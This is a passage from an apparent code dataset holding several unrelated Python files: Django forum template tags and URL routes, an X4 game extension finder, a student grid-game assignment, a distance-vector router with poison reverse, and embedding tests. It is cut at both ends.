print(i)\r\n\r\nm.save('Stations_map.html')","sub_path":"Wakeupcall-master/Stations_map.py","file_name":"Stations_map.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"561448502","text":"__author__ = 'PerminovMA@live.ru'\n\nfrom django.conf.urls import url\nfrom rest_framework.urlpatterns import format_suffix_patterns\nfrom meedl_core_app.rest_api.views_rest_api import AdvCampaignsList, OffersList, ClientsList\n\nurlpatterns = [\n url(r'^clients/$', ClientsList.as_view()),\n url(r'^offers/$', OffersList.as_view()),\n url(r'^adv_campaigns/$', AdvCampaignsList.as_view()),\n # url(r'^adv_campaign/(?P[0-9]+)/$', AdvCampaignDetail.as_view()),\n]\n\nurlpatterns = format_suffix_patterns(urlpatterns)","sub_path":"meedl_core_app/rest_api/rest_urls.py","file_name":"rest_urls.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"67465357","text":"# -*- coding: utf-8 -*-\nimport os\nimport re\nfrom django import template\nfrom django.conf import settings\nfrom django.contrib.auth.models import User\nfrom django.utils.importlib import import_module\n\n# from snapboard.templatetags import bbcode\nfrom snapboard.unread import cache_unreads\nfrom snapboard.models import Thread, Read, Post, Category\nfrom micawber.parsers import parse_html\n\nfrom django.utils.safestring import mark_safe\nfrom django.utils.html import strip_tags\nfrom django.template.defaultfilters import urlize\nfrom django.core.cache import cache\nfrom django.core.urlresolvers import reverse\nfrom fukapp.models import affiliate_replace\nfrom fprofiles.models import get_avatar, get_user_info\n\n\nfrom datetime import datetime, timedelta\n\nbad_words_list = []\n# https://github.com/ReconCubed/django-profanity-filter/blob/master/wordlist.txt\nbad_words_file = os.path.normpath(\n os.path.join(settings.SITE_ROOT, '../badwords.txt'))\n\nif os.path.exists(bad_words_file):\n with open(bad_words_file, 'r') as f:\n bad_words_list = [line.strip() for line in f.readlines()]\n\n\nLATEST_POSTS = getattr(settings, \"SB_LATEST_POSTS\", 6)\n\nregister = template.Library()\n\n# some oembed bits we have imported from mcdjango\ndef _load_from_module(path):\n package, attr = path.rsplit('.', 1)\n module = import_module(package)\n return getattr(module, attr)\n\n\nPROVIDERS = getattr(settings, 'MICAWBER_PROVIDERS', 'micawber.contrib.mcdjango.providers.bootstrap_basic')\n\nproviders = _load_from_module(PROVIDERS)\nif callable(providers):\n providers = providers()\n\ndef fuk_inline_handler(url, response_data, **params):\n \"\"\" Deal with missing title errors in default micawber setup \"\"\"\n if not 'title' in response_data:\n response_data['title']=''\n return '
%(title)s' % response_data\n\ndef fuk_full_handler(url, response_data, **params):\n # sometimes, we get a broken but still valid\n # embed response, in which case just make it a\n # normal URL link.\n if not 'type' in response_data:\n response_data['type'] = 'link'\n response_data['title'] = url\n if not 'title' in response_data:\n response_data['title']=''\n if response_data['type'] == 'link':\n return '%(title)s' % response_data\n elif response_data['type'] == 'photo':\n return '\"%(title)s\"' % response_data\n else:\n return response_data['html']\n\n@register.filter\ndef truncate(text, chars=200):\n if len(text) < chars:\n return text\n try:\n last_space = text.rindex(' ', 0, chars)\n if last_space < chars // 5:\n raise ValueError\n except ValueError:\n return text[:chars - 1] + u'…'\n else:\n return text[:last_space] + u'…'\n\n# def markdown(value, arg=''):\n# import markdown\n# return markdown.markdown(value, safe_mode=False)\n# register.filter('markdown', markdown)\n\n# def bbcode_filter(value, arg=''):\n# # value=urlize(value)\n# return bbcode.bb2xhtml(value, True)\n# register.filter('bbcode', bbcode_filter)\n\n# the main post filter. Return post if in cache, if not run it through the processor and cache it.\n@register.filter\ndef postfilter(text, post_id, autoescape=None):\n key = \"post-%d\" % post_id\n cached_post = cache.get(key)\n if cached_post:\n return cached_post\n post_text = process_text(text)\n cache.set(key, post_text)\n return post_text\npostfilter.needs_autoescape=True\n\n\ndef process_text(text):\n from fukapp import bbcoder\n # from fukapp import postmarkup\n post_text = text\n # are there any old youtube embeds? replace them with the plain url link.\n # An expensive operation, so check if there is an embed first.\n if post_text.find(' -1:\n post_text = replace_youtube_embed(post_text)\n # Once we have manually replaced any HTML tags, we need to blitz\n # the rest.\n post_text = strip_tags(post_text)\n # Then run the post through postmarkup. This is to do legacy bbcode conversions, \n # and to maintain capability for quoting posts. It is really important that \n # postmarkup does not linkify anything, or wrap stuff in paragraphs, as these\n # mess up oembed.\n # post_text = postmarkup.render_bbcode(post_text, paragraphs=False, auto_urls=False)\n post_text = bbcoder.fukparser.format(post_text)\n # Next, run the oembed parser. This can activate all links, whether oembedded or not.\n post_text = parse_html(post_text, providers, \"600x600\", block_handler=fuk_inline_handler, handler=fuk_full_handler) \n # run the affiliate link replacements\n post_text = affiliate_replace(post_text)\n # convert smilies to their image equivalents.\n post_text = gen_smileys(post_text, 'html')\n return mark_safe(post_text)\n\n@register.filter\ndef gen_smileys(text, format=\"html\"):\n \"\"\" Dropin replacement for django-smileys function, but \n uses more sane caching and image building.\"\"\"\n smileys = cache.get('stored_smileys')\n if not smileys:\n from fukapp.utils import cache_smileys\n smileys = cache_smileys()\n for s in smileys:\n if s.is_regex:\n # test that the regex will compile, don't want template errors\n try:\n patt=re.compile(s.pattern)\n text = patt.sub(s.img, text)\n except:\n # if it's an invalid regex, just leave the string\n pass\n else:\n text = text.replace(s.pattern, s.img)\n return text\n \n@register.simple_tag \ndef list_smileys():\n \"\"\"Create a json list of smileys, to be used in a post editing form.\"\"\"\n from django.utils import simplejson as json\n smileys = cache.get('stored_smileys')\n if not smileys:\n from fukapp.utils import cache_smileys\n smileys = cache_smileys()\n slist = [{'img':k.image.url, 'title':k.description, 'alt':k.default} for k in smileys]\n return json.dumps(slist)\n \n \ndef replace_youtube_embed(t):\n \"\"\" Use BeautifulSoup to replace old YouTube and Sound Cloud embeds\"\"\"\n try:\n from BeautifulSoup import BeautifulSoup as bs\n except ImportError: \n return t\n from urlparse import urlparse\n soup = bs(t)\n # print soup.prettify()\n yts = soup.findAll('object')\n for y in yts:\n mv = y.find('param', attrs={'name': 'movie'})\n if mv:\n if mv['value'].find('youtube') > -1:\n o = urlparse(mv['value'])\n # youtube paths are in the format '/v/dkjrnb3', so strip out the leading /v/\n y.replaceWith(\"http://www.youtube.com/watch?v=\" + o.path[3:])\n elif mv['value'].find('soundcloud.com') > -1:\n y.replaceWith(\"\") #replace the embed with nothing.\n spans = soup('span') # get the href from the span\n for s in spans:\n if s.find('a') and 'href' in s.find('a'):\n # sometimes we have an with no href\n k = s.find('a')['href']\n # allow for missing parent node http://stackoverflow.com/a/3461905\n if s.parent is not None:\n s.replaceWith(k) # replace whole span with just url\n\n return unicode(soup)\n\n\n\n# private messages are not cached, so have their own filter. Separated out so that we can have different\n# processors on posts and PMs.\n@register.filter\ndef pmfilter(text):\n return process_text(text)\n \n\n \n@register.filter\ndef dateisoformat(dt):\n return hasattr(dt, \"isoformat\") and dt.isoformat() or \"\"\n \n \n@register.filter\ndef timeago(dt):\n if not hasattr(dt, \"strftime\"):\n return \"\"\n d1=dt.strftime(\"%Y-%m-%dT%H:%M:%SZ\")\n d2=dt.strftime(\"%a, %d %b %Y %H:%M\")\n \n return mark_safe('%s' % (d1, d2))\n\n\n# Paged url template tag. Adds paging according to user's unread thread setting.\n\n@register.simple_tag\ndef paged_url(thread, user):\n if has_unreads(thread, user):\n return thread.get_paged_url(user)\n else:\n return thread.get_absolute_url()\n\n\n@register.simple_tag\ndef active_threads(user, trunc=40, ct=20):\n \"\"\" Get the active threads, according to user privileges.\n\n This is the new version of the sidebar, which excludes the classifieds, \n now in their own area.\n\n For better efficiency on this query, we now specify the categories to \n exclude or include as numbers. This means that any change to privileged\n forum accesses (ie a new elite forum) must be accounted for here in the \n access control switching.\n\n Formatting moved in to a separate function format_thread_list().\n\n \"\"\"\n elite_cat = 4\n classified_cat = 3\n excludes = [classified_cat]\n if user.is_anonymous():\n excludes.append(elite_cat)\n else:\n info = get_user_info(user)\n if not info['is_elite']:\n excludes.append(elite_cat)\n threads = Thread.objects.filter_active_threads(excludes=excludes)[:ct]\n return format_thread_list(threads, trunc)\n\n\n@register.simple_tag\ndef active_classifieds(trunc=40, ct=20):\n \"\"\" Get the latest classifeds threads \"\"\" \n threads = Thread.objects.filter_active_threads(includes=[3])[:ct]\n return format_thread_list(threads, trunc)\n\n\n@register.simple_tag\ndef popular_threads(trunc=40, ct=20):\n \"\"\" Get the popular threads list\"\"\"\n op = ''\n tlist = [(a.id, a.name, a.get_absolute_url()) for a in Thread.objects.popular()[:ct]]\n for t in tlist:\n title = t[1]\n if len(title) > trunc:\n title = title[0:trunc] + \"...\"\n op += '
  • %s
  • ' % (t[2], title)\n return op\n \n\ndef format_thread_list(threads, trunc=40):\n \"\"\"Format a list of threads for the right sidebar\"\"\"\n op = ''\n tlist = [(a.id, a.name, a.get_absolute_url()) for a in threads]\n for t in tlist:\n title = t[1]\n if len(title) > trunc:\n title = title[0:trunc] + \"...\"\n op += '
  • %s
  • ' % (t[2], title)\n return op\n\n\n@register.simple_tag\ndef users_online(online_now_ids, online_now_users):\n \"\"\" Using the online now info created from our middelware, this tag\n returns a formatted list of links to users profile page\"\"\"\n l = []\n for uid in online_now_ids:\n if uid in online_now_users:\n link = reverse('fprofiles_profile_detail', args=[uid])\n l.append('%s' % (link, online_now_users[uid]))\n return ', '.join(l)\n\n\n# get the current moderation queue count, to display in a moderator's user block\n@register.simple_tag\ndef moderation_count():\n ct = Post.objects.filter(status='p').count()\n if ct:\n return '(%d)' % ct\n else:\n return ''\n\n\n@register.simple_tag\ndef category_links(user):\n s = \"\"\n cats = Category.objects.get_user_view_cats(user)\n for cat in cats:\n s += '
  • %s
  • ' % (cat.get_absolute_url(), cat.name)\n return s\n\n# Unreads code. Borrowed from djangoBB/pyBB\n# When displaying a list of topics, we first filter the topics through forum_unreads(). This\n# checks for reads and adds a _read attribute\n\n\n@register.filter\ndef forum_unreads(qs, user):\n return cache_unreads(qs, user)\n\n\n@register.filter\ndef has_unreads(thread, user):\n \"\"\"\n Check if thread has unread posts for this user. Should have been added by cache_unreads(), do a lookup if it hasn't.\n \"\"\"\n now = datetime.now()\n delta = timedelta(seconds=settings.READ_TIMEOUT)\n if not user.is_authenticated():\n return False\n else:\n if isinstance(thread, Thread):\n if (now - delta > thread.updated):\n return False\n else:\n if hasattr(thread, '_read'):\n read = thread._read\n else:\n try:\n read = Read.objects.get(user=user, thread=thread)\n except Read.DoesNotExist:\n read = None\n\n if read is None:\n return True\n else:\n return thread.updated > read.time\n else:\n raise Exception('Object should be a thread')\n\n\ndef avatar(user, size='standard'):\n \"\"\" Calls the get_avatar function in fpofiles to get an avatar SRC\"\"\"\n avpath = get_avatar(user, size)\n return \"\"\"\"%s\"\"\" % (avpath, user)\n\nregister.simple_tag(avatar)\n\ndef profile_link(user):\n \"\"\" Return a link to the user's profile page, or not if they have been \n deleted or blocked. \"\"\"\n # deleted user, return word [deleted]\n if user == 0:\n return \"[deleted]\" \n info = get_user_info(user)\n if not info:\n return \"[deleted]\"\n # active user, return profile link\n if info['active']:\n return '%s' % (info['profile_link'], info['name'])\n # blocked user, return name only\n return info['name']\n \nregister.simple_tag(profile_link)\n\n# Copyright 2009, EveryBlock\n# This code is released under the GPL.\n@register.tag\ndef raw(parser, token):\n # Whatever is between {% raw %} and {% endraw %} will be preserved as\n # raw, unrendered template code.\n text = []\n parse_until = 'endraw'\n tag_mapping = {\n template.TOKEN_TEXT: ('', ''),\n template.TOKEN_VAR: ('{{', '}}'),\n template.TOKEN_BLOCK: ('{%', '%}'),\n template.TOKEN_COMMENT: ('{#', '#}'),\n }\n # By the time this template tag is called, the template system has already\n # lexed the template into tokens. Here, we loop over the tokens until\n # {% endraw %} and parse them to TextNodes. We have to add the start and\n # end bits (e.g. \"{{\" for variables) because those have already been\n # stripped off in a previous part of the template-parsing process.\n while parser.tokens:\n token = parser.next_token()\n if token.token_type == template.TOKEN_BLOCK and token.contents == parse_until:\n return template.TextNode(u''.join(text))\n start, end = tag_mapping[token.token_type]\n text.append(u'%s%s%s' % (start, token.contents, end))\n parser.unclosed_block_tag(parse_until)\n\n\n@register.filter\ndef profanity_filter(value):\n \"\"\"\n Ugly but quick way to do it for now\n \"\"\"\n for word in bad_words_list:\n word = r'\\b%s\\b' % word # Apply word boundaries to the bad word\n regex = re.compile(word, re.IGNORECASE)\n value = regex.sub('*' * (len(word) - 4), value)\n return value\nprofanity_filter.is_safe = True\n","sub_path":"fuk-master/fuk/snapboard/templatetags/sb_tags.py","file_name":"sb_tags.py","file_ext":"py","file_size_in_byte":14208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"319132322","text":"\nfrom lxml import etree as ET\nfrom ..Common import Settings, Print\n\n'''\nNotes on duplicated extension IDs:\n X4 will load extensions with duplicate ids, but gets buggy on\n how it handles them.\n These IDs are used for two things:\n 1) Dependency references will only point to the first (alphabetical folder\n name) extension with an id match.\n 2) Changing extension enable state (from default) will only work on\n the first ID match.\n The user content.xml only saves a single element for an ID.\n In game, later extensions cannot have their enable flag flipped\n in the UI.\n'''\n\nclass Extension_Summary:\n '''\n Class to summarize a found extension, and some picked out details.\n\n Attributes:\n * content_xml_path\n - Path to the content.xml file for the extension.\n * content_xml\n - XML Element holding the contents of content.xml, used in some\n misc lookup methods.\n * extension_name\n - String, name of the containing folder, lowercase.\n - Should be unique across extensions.\n * ext_id\n - ID of this extension, as found in the content.xml id attribute.\n - May be non-unique across extensions, though in x4 this leads\n to bugs with dependencies (only the last ID match found will\n be considered dependent) and with enabling/disabling mods\n (only the last ID match can be flipped out of its default\n state).\n - Is case sensitive in X4.\n * display_name\n - String, the name to display for the extension.\n * enabled\n - Bool, True if this extensions is enabled, else False.\n * default_enabled\n - Bool, if the extension is enabled by default.\n * is_current_output\n - Bool, True if this extension is the customizer output.\n * soft_dependencies\n - List of ids of other extensions this extension\n has a soft (non-error if missing) dependency on.\n * hard_dependencies\n - As above, but dependencies that will throw an error if missing.\n '''\n def __init__(\n self, \n ext_id,\n content_xml_path, \n content_xml,\n enabled, \n default_enabled,\n is_current_output,\n soft_dependencies,\n hard_dependencies,\n ):\n self.ext_id = ext_id\n self.content_xml_path = content_xml_path\n self.extension_name = content_xml_path.parent.name.lower()\n self.content_xml = content_xml\n self.enabled = enabled\n self.default_enabled = default_enabled\n self.is_current_output = is_current_output\n self.soft_dependencies = soft_dependencies\n self.hard_dependencies = hard_dependencies\n\n self.display_name = self.Get_Attribute('name')\n return\n\n\n def Get_Attribute(self, attribute, default = ''):\n '''\n Return the string value of a given attribute.\n This will search the language node first, then the root node.\n If not found, returns an empty string.\n '''\n node = self.content_xml.find('text[@language=\"44\"][@{}]'.format(attribute))\n if node != None:\n value = node.get(attribute, default)\n else:\n value = self.content_xml.get(attribute, default)\n return value\n \n\n def Get_Bool_Attribute(self, attribute, default = True):\n '''\n Returns a bool value of a given attribute.\n '''\n attr_str = self.Get_Attribute(attribute, '')\n if not attr_str:\n return default\n # Handle simple integers and bool expressions.\n if attr_str.lower() in ['true','1']:\n return True\n elif attr_str.lower() in ['false','0']:\n return False\n else:\n # As a backup, just return the default.\n # TODO: maybe warn on this case.\n return default\n\n\ndef Find_Extensions():\n '''\n Returns a list of Extension_Summary objects, representing all\n found extensions, enabled or disabled.\n ''' \n ext_summary_list = []\n\n # Need to figure out which extensions the user has enabled.\n # The user content.xml, if it exists (which it may not), will\n # hold details on custom extension enable/disable settings.\n # Note: by observation, the content.xml appears to not be a complete\n # list, and may only record cases where the enable/disable selection\n # differs from the extension default.\n user_extensions_enabled = {}\n content_xml_path = Settings.Get_User_Content_XML_Path()\n if content_xml_path.exists():\n # (lxml parser needs a string path.)\n content_root = ET.parse(str(content_xml_path)).getroot()\n for extension_node in content_root.xpath('extension'):\n name = extension_node.get('id')\n if extension_node.get('enabled') in ['true','1']:\n user_extensions_enabled[name] = True\n else:\n user_extensions_enabled[name] = False\n \n\n # Note the path to the target output extension content.xml.\n output_content_path = Settings.Get_Output_Folder() / 'content.xml'\n\n # Note extension ids found, to detect non-unique cases that\n # can cause problems.\n ext_ids_found = set()\n\n # Find where these extensions are located, and record details.\n # Could be in documents or x4 directory.\n for base_path in [Settings.Get_X4_Folder(), Settings.Get_User_Folder()]:\n extensions_path = base_path / 'extensions'\n\n # Skip if there is no extensions folder.\n if not extensions_path.exists():\n continue\n\n # Use glob to pick out all of the extension content.xml files.\n for content_xml_path in extensions_path.glob('*/content.xml'):\n\n # Load it and pick out the id.\n content_root = ET.parse(str(content_xml_path)).getroot()\n ext_id = content_root.get('id')\n \n # Warning for multiple same-name extensions.\n if ext_id in ext_ids_found:\n # TODO: what is the best way to signal this?\n # Can just send to Print for now.\n Print(('Warning: duplicate extension id \"{}\" found, in'\n ' folder {}').format(ext_id, content_xml_path.parent.name))\n ext_ids_found.add(ext_id)\n \n # Determine if this is enabled or disabled.\n # If it is in user content.xml, use that flag, else use the\n # flag in the extension.\n\n # Apparently a mod can use '1' for this instead of\n # 'true', so try both.\n # TODO: move this into the ext_summary constructor.\n default_enabled = content_root.get('enabled', 'true').lower() in ['true','1']\n if ext_id in user_extensions_enabled:\n enabled = user_extensions_enabled[ext_id]\n else:\n enabled = default_enabled\n\n \n # Collect all the names of dependencies.\n # Lowercase these to standardize name checks.\n dependencies = [x.get('id')\n for x in content_root.xpath('dependency')]\n # Collect optional dependencies.\n soft_dependencies = [x.get('id') \n for x in content_root.xpath('dependency[@optional=\"true\"]')]\n # Pick out hard dependencies (those not optional).\n hard_dependencies = [x for x in dependencies\n if x not in soft_dependencies ]\n\n ext_summary_list.append( Extension_Summary(\n ext_id = ext_id,\n content_xml_path = content_xml_path, \n content_xml = content_root,\n enabled = enabled, \n default_enabled = default_enabled,\n is_current_output = content_xml_path == output_content_path,\n soft_dependencies = soft_dependencies,\n hard_dependencies = hard_dependencies,\n ))\n \n return ext_summary_list\n \n","sub_path":"Framework/File_Manager/Extension_Finder.py","file_name":"Extension_Finder.py","file_ext":"py","file_size_in_byte":8095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"650157098","text":"# Autor: Petr Buček, 485707\r\n# Známé nedostatky: Žádné.\r\n# Prohlašuji, že celý zdrojový kód jsem zpracoval(a) zcela samostatně. Jsem si vědom(a), že nepravdivost tohoto tvrzení může být důvodem k hodnocení F v předmětu IB111 a k disciplinárnímu řízení.\r\n# Styl: Příliš copy&paste částí, chtělo by to vytknout společné části. Převážně, když se jedná o output True/False.\r\n# Styl: Všechny je taková nepěkná, ale nevím, jak to napsat lépe, aby fungovali stejně dobře. Výměna dokonalosti za fungování.\r\n\r\n\r\nfrom random import *\r\ndef play_game(width, height, strategies, output=True):\r\n\r\n number_round=0\r\n player1_score=0\r\n player2_score=0\r\n player1_places=[]\r\n player2_places=[]\r\n player_place=[]\r\n take_place=[]\r\n taken_places=[]\r\n places = [(a, b) for a in range(1, height+1) for b in range(1, width+1)]\r\n \r\n while len(places)>len(taken_places):\r\n take_place, player_place=strategies[number_round%2](width, height, taken_places, output)\r\n taken_places=add_position(taken_places, take_place, places)\r\n if number_round%2==0:\r\n player=1\r\n player1_places.extend(player_place)\r\n player1_score+=1\r\n else:\r\n player=2\r\n player2_places.extend(player_place)\r\n player2_score+=1\r\n number_round+=1 \r\n if output==True:\r\n print(\"\\nPlayer \", player, \" moved:\")\r\n paint(width, height, taken_places, player1_places, player2_places)\r\n if output==True:\r\n print(\"Player \", player, \" is winner!!!\")\r\n return player\r\n \r\n \r\ndef max_block(width, height, taken_places, output=True):\r\n biggest=0\r\n take_row=1\r\n while 0biggest and (take_row,take_col) not in taken_places:\r\n player_place=[(take_row,take_col)]\r\n biggest=count\r\n take_col+=1\r\n if count>biggest and (take_row,take_col) not in taken_places:\r\n \r\n player_place=[(take_row,take_col)]\r\n biggest=count \r\n take_row+=1\r\n if output==True:\r\n print(\"\\nMove is row: \", player_place[0][0], \"\\nMove is collum: \", player_place[0][1]) \r\n take_places=[(a, b) for a in range(player_place[0][0]-1, player_place[0][0]+2) for b in range(player_place[0][1]-1, player_place[0][1]+2)]\r\n return take_places, player_place\r\n\r\ndef random_moves(width, height, taken_places, output=True):\r\n take_places=[]\r\n take_row=randint(1,height)\r\n take_col=randint(1,width)\r\n while ((take_row, take_col) in taken_places)==True:\r\n take_col=randint(1,width)\r\n take_row=randint(1,height)\r\n if output==True:\r\n print(\"\\nMove is row: \", take_row, \"\\nMove is collum: \", take_col)\r\n player_place=[(take_row,take_col)]\r\n take_places+=[(a, b) for a in range(take_row-1, take_row+2) for b in range(take_col-1, take_col+2)]\r\n return take_places, player_place\r\n\r\ndef first_empty(width, height, taken_places, output=True):\r\n take_places=[]\r\n take_row=1\r\n take_col=1\r\n while 0height or take_col<=0 or take_col>width or ((take_row, take_col) in taken_places)==True:\r\n if ((take_row, take_col) in taken_places)==True: \r\n print(\"\\nIt's already taken.\\nTry again.\")\r\n else:\r\n print(\"\\nThis number is not in field.\\nTry again.\")\r\n if output==True:\r\n take_row=int(input(\"Write row: \"))\r\n take_col=int(input(\"Write collum: \"))\r\n player_place=[(take_row,take_col)]\r\n take_places+=[(a, b) for a in range(take_row-1, take_row+2) for b in range(take_col-1, take_col+2)]\r\n return take_places, player_place\r\n\r\ndef paint(width, height, taken_places, player1_places, player2_places):\r\n for i in range(1,height+1):\r\n for j in range(1,width+1):\r\n if (i, j) in player1_places:\r\n print(\"X\", end=\"\")\r\n elif (i, j) in player2_places:\r\n print(\"O\", end=\"\")\r\n elif (i, j) in taken_places:\r\n print(\"*\", end=\"\")\r\n else:\r\n print(\".\", end=\"\")\r\n print(\"\")\r\n print(\"\")\r\ndef add_position(taken_places, take_place, places):\r\n for position in take_place:\r\n if position not in taken_places and position in places:\r\n taken_places.append(position)\r\n return taken_places\r\n\r\ndef tournament(width, height, repetitions=1000):\r\n strategies=[max_block, first_empty, random_moves]\r\n for strategy_player1 in strategies:\r\n player_1=0\r\n player_2=0\r\n for strategy_player2 in strategies:\r\n for i in range(repetitions):\r\n if play_game(6, 4, [strategy_player1, strategy_player2], False)==1:\r\n player_1+=1\r\n else:\r\n player_2+=1\r\n print(strategy_player1.__name__, \" vs. \", strategy_player2.__name__, \":\\n\", player_1, \" : \", player_2)\r\n player_1=0\r\n player_2=0\r\n \r\n return None\r\n \r\n\r\ntournament(7, 7, repetitions=1000)\r\n\r\n","sub_path":"1.semestr/485707_du3.py","file_name":"485707_du3.py","file_ext":"py","file_size_in_byte":6387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"27286392","text":"def showMaxFactor(num):\n count = num//2\n while count>1:\n if num%count==0:\n print('{0}的最大公约数是{1}'.format(num,count))\n break\n count -=1\n else:\n print('{0}是个素数'.format(num))\nnum=int(input('请输入一个整数'))\nshowMaxFactor(num)\n","sub_path":"demo12.py","file_name":"demo12.py","file_ext":"py","file_size_in_byte":304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"560584850","text":"\"\"\"routerpr.py: Starts a router that uses poison reverse to minimize messages sent.\r\nUsage: router : creates a router listening on with name\r\n. must be one character long.\r\n\"\"\"\r\n\r\n\"\"\"Since there are so many variables, here is a minor guide:\r\n\r\nname: name of this router\r\nport: port this router is operating on\r\nsrcname: name of router message was received from\r\nsrcport: port of router message was received from\r\n\r\nneighbors[name][0]: port number of neighbor name\r\nneighbors[name][1]: link cost to neighbor name\r\n\r\ndist_vecs[src]: all distance vectors for src, equivalent to dist_vecs[src].keys() when iterating\r\ndist_vecs[src][dest][0]: cost of path from src to dest\r\ndist_vecs[src][dest][1]: # hops in path from src to dest\r\ndist_vecs[src][dest][2]: next router in path from src to dest\r\n\r\nAn outline of the structure of neighbors and dist_vecs is also included.\"\"\"\r\n\r\nimport socket\r\nimport sys\r\nimport logging\r\nfrom time import sleep\r\nfrom math import inf\r\nfrom routemsg import *\r\n\r\nprompt_for_args = False #set to true to prompt for command line args.\r\n\r\ndef print_distvecs(dvs, name):\r\n print('- - - - -')\r\n for dest in dvs[name].keys():\r\n if name != dest:\r\n print(name, dest, dvs[name][dest][0],\r\n dvs[name][dest][1], dvs[name][dest][2])\r\n\r\ndef main():\r\n if len(sys.argv) == 1:\r\n print(__doc__)\r\n elif len(sys.argv) == 2:\r\n print('Need a port number!')\r\n elif len(sys.argv) == 3:\r\n if len(sys.argv[1]) != 1:\r\n print('Name must be a single character.')\r\n else:\r\n try:\r\n int(sys.argv[2])\r\n except ValueError:\r\n print('Port number must be an integer!')\r\n return\r\n\r\n logging.basicConfig(format='%(message)s (%(levelname)s)', level=logging.CRITICAL)\r\n #change level=logging.DEBUG to display debug messages\r\n \r\n name = sys.argv[1]\r\n port = int(sys.argv[2])\r\n routerSocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\r\n try:\r\n routerSocket.bind(('', port))\r\n except socket.error as e:\r\n print(e)\r\n return\r\n\r\n neighbors = {} #name:(port, cost)\r\n dist_vecs = {name:{name:(0, 0, name)}} #src:{dest:(cost, hops, next_router)}\r\n print('Router {} is active. Waiting for links to be added...'.format(name))\r\n \r\n while True:\r\n msg, srcaddr = routerSocket.recvfrom(1024)\r\n is_link, srcname, srcport, data = get_routemsg(msg)\r\n send_dv = False\r\n \r\n if is_link: #link msg\r\n send_dv = True\r\n neighbors[srcname] = (srcport, data) #overwrite neighbor info\r\n if srcname not in dist_vecs: #no dv?\r\n dist_vecs[srcname] = {}\r\n dist_vecs[name][srcname] = (int(data), 1, srcname)\r\n else: #have dv\r\n pass\r\n \r\n else:\r\n waittime = .01 * neighbors[srcname][1]\r\n sleep(waittime) #wait 10ms * link cost\r\n dist_vecs[srcname] = data #replace old dvs\r\n for dest in dist_vecs[srcname]:\r\n if name == dest:\r\n continue #if calculating dist to itself, skip\r\n\r\n old_vec = (inf, inf, name)\r\n if dest in dist_vecs[name]:\r\n old_vec = dist_vecs[name][dest]\r\n dist_vecs[name][dest] = (inf, inf, name) #overwrite old value/add new one\r\n \r\n for neighbor in neighbors:\r\n logging.debug('%s to %s thru %s', name, dest, neighbor)\r\n logging.debug('%s | %s | %s', neighbors[neighbor][1],\r\n dist_vecs[neighbor].get(dest, (inf,))[0],\r\n dist_vecs[name].get(dest, (inf,))[0])\r\n logging.debug('%s to %s: %s. %s to %s: %s', neighbor, dest,\r\n dist_vecs[neighbor].get(dest, (0,0,'?'))[2], name, dest,\r\n dist_vecs[name].get(dest, (0,0,'?'))[2])\r\n \r\n if (neighbors[neighbor][1] + dist_vecs[neighbor].get(dest, (inf,))[0]\r\n < dist_vecs[name].get(dest, (inf,))[0]):\r\n\r\n dist_vecs[name][dest] = (neighbors[neighbor][1]\r\n + dist_vecs[neighbor][dest][0],\r\n dist_vecs[neighbor][dest][1] + 1, neighbor)\r\n for neighbor in neighbors: \r\n if (dist_vecs[neighbor].get(dest, (0,0,'?'))[2] == name\r\n and dist_vecs[name].get(dest, (0,0,'?'))[2] == neighbor): #poison reverse\r\n print('Poison reverse!')\r\n dist_vecs[name][dest] = (inf, inf, name)\r\n \r\n if dist_vecs[name][dest] != old_vec:\r\n send_dv = True\r\n logging.debug('%s, %s, %s', dist_vecs[name][dest], old_vec, send_dv)\r\n \"\"\"Bellman-Ford equation applied directly: dist_vecs[name][dest]\r\n is the minimum of c(name, neighbor) + d(neighbor, dest).\r\n Note that if the old value is not overwritten, an increase in link\r\n cost will be ignored in the distance vectors.\"\"\"\r\n \r\n\r\n print_distvecs(dist_vecs, name) #modifications done, print\r\n logging.debug('%s', neighbors)\r\n\r\n if send_dv:\r\n dv_msg = make_routemsg(False, name, port, dist_vecs[name])\r\n for neighbor in neighbors:\r\n routerSocket.sendto(dv_msg, ('127.0.0.1', neighbors[neighbor][0]))\r\n \r\n else:\r\n print('Too many arguments.')\r\n\r\nif __name__ == '__main__':\r\n if prompt_for_args: \r\n arglist = input('Enter command line args: ').split()\r\n sys.argv += arglist\r\n main()\r\n","sub_path":"routerpr.py","file_name":"routerpr.py","file_ext":"py","file_size_in_byte":6476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"54500096","text":"import pytest\nimport numpy\n\nTEST_NORMS = [\n 6.557438373565674,\n 8.83176040649414,\n 6.164413928985596,\n 9.165151596069336,\n 7.4833149909973145,\n 7.211102485656738,\n 7.4833149909973145\n]\n\n\ndef test_embeddings(embeddings_fifu, embeddings_text, embeddings_text_dims):\n # Check that we cover all words from all embedding below.\n assert len(embeddings_fifu.vocab()) == 7\n assert len(embeddings_text.vocab()) == 7\n assert len(embeddings_text_dims.vocab()) == 7\n\n # Check that the finalfusion embeddings have the correct dimensionality\n # The correct dimensionality of the other embedding types is asserted\n # in the pairwise comparisons below.\n assert embeddings_fifu.matrix_copy().shape == (7, 10)\n \n for embedding in embeddings_fifu:\n assert numpy.allclose(\n embedding.embedding, embeddings_text[embedding.word]), \"FiFu and text embedding mismatch\"\n assert numpy.allclose(\n embedding.embedding, embeddings_text_dims[embedding.word]), \"FiFu and textdims embedding mismatch\"\n\n\ndef test_embeddings_pq(similarity_fifu, similarity_pq):\n for embedding in similarity_fifu:\n embedding_pq = similarity_pq.embedding(\"Berlin\")\n assert numpy.allclose(embedding.embedding, embedding_pq,\n atol=0.3), \"Embedding and quantized embedding mismatch\"\n\n\ndef test_embeddings_pq_mmap(similarity_fifu, similarity_pq_mmap):\n for embedding in similarity_fifu:\n embedding_pq = similarity_pq_mmap.embedding(\"Berlin\")\n assert numpy.allclose(embedding.embedding, embedding_pq,\n atol=0.3), \"Embedding and quantized embedding 